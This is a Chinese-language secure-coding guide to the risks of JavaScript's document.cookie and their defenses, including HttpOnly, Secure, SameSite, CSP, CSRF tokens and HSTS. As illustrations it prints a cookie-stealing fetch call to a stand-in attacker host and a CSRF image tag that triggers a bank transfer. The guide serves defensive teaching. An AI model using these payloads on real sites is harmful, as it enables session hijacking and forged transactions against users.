document.cookie 是 JavaScript 操作浏览器 Cookie 的主要接口,但其使用存在多项安全隐患,以下是关键安全问题及解决方案:
1. XSS(跨站脚本)攻击风险
问题
恶意脚本可通过 document.cookie 直接窃取用户 Cookie:
// 攻击者注入的恶意代码
fetch('https://hacker.com/steal?data=' + document.cookie);
防御措施
- 启用 HttpOnly
禁止 JavaScript 读取敏感 Cookie:Set-Cookie: sessionId=abc123; HttpOnly - 内容安全策略(CSP)
阻止非法脚本执行:<meta http-equiv="Content-Security-Policy" content="default-src 'self'">
2. CSRF(跨站请求伪造)攻击
问题
攻击者诱导用户访问恶意页面,利用浏览器自动携带 Cookie 的特性伪造请求:
<!-- 恶意网站构造的请求 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000">
防御措施
- SameSite 属性
限制跨站 Cookie 发送:Set-Cookie: sessionId=abc123; SameSite=StrictStrict:完全禁止跨站携带Lax:允许安全方法(GET)的顶级导航
- CSRF Token
服务端生成随机的 Token 并验证:<form action="/transfer" method="POST"> <input type="hidden" name="_csrf" value="随机Token"> </form>
3. 信息泄露风险
问题
- Cookie 默认以明文存储,可能被中间人攻击(MITM)截获
- 敏感信息(如用户ID)直接存于 Cookie 可能被篡改
防御措施
- 强制 HTTPS + Secure 属性
仅通过加密通道传输:Set-Cookie: sessionId=abc123; Secure - 加密敏感数据
服务端对 Cookie 值加密:// 服务端示例(Node.js) const encrypted = encryptAES(JSON.stringify({ userId: 123 })); res.setHeader('Set-Cookie', `data=${encrypted}; Secure; HttpOnly`);
4. 过长的 Cookie 导致性能问题
问题
- 浏览器对每个域名 Cookie 有 4KB 限制
- 每次请求都会自动携带所有 Cookie,影响网络性能
优化方案
- 精简 Cookie 数量
合并多个 Cookie 为单个 JSON 字符串 - 使用 localStorage
非敏感数据改用本地存储:localStorage.setItem('preferences', JSON.stringify({ theme: 'dark' }));
5. 子域名安全漏洞
问题
默认情况下,Cookie 对子域名可见:
Set-Cookie: sessionId=abc123; Domain=example.com
app1.example.com和app2.example.com共享该 Cookie- 若某个子站存在 XSS 漏洞,会危及主站
解决方案
- 明确限定域名范围
Set-Cookie: sessionId=abc123; Domain=app1.example.com - 关键服务使用独立域名
如认证服务使用auth.example.com
6. Cookie 劫持(中间人攻击)
问题
公共 Wi-Fi 下未加密的 Cookie 可能被嗅探
防御措施
- 全站 HTTPS
配合 HSTS 强制加密:Strict-Transport-Security: max-age=63072000; includeSubDomains - 定期更换 Session ID
减少有效期的暴露时间:Set-Cookie: sessionId=new456; Max-Age=3600
安全配置最佳实践
// 终极安全 Cookie 配置示例
Set-Cookie:
token=encryptedData;
HttpOnly; // 防XSS
Secure; // 仅HTTPS
SameSite=Strict; // 防CSRF
Domain=example.com;
Path=/;
Max-Age=3600; // 有限有效期
现代替代方案
| 场景 | 推荐方案 | 优点 |
|---|---|---|
| 身份认证 | JWT + HTTP Only Cookie | 服务端无需存储 Session |
| 客户端状态存储 | localStorage/sessionStorage | 不自动随请求发送 |
| 跨站数据共享 | 自定义 Header + CORS | 精准控制访问权限 |
总结
document.cookie 的安全风险主要源于:
- 默认暴露给 JavaScript(需
HttpOnly) - 自动跨站携带(需
SameSite) - 明文传输(需
Secure+ HTTPS) - 无数据保护机制(需加密)
实际开发中应:
- 最小化 Cookie 使用范围
- 启用所有安全属性
- 敏感数据存服务端而非 Cookie
- 定期审计 Cookie 使用情况
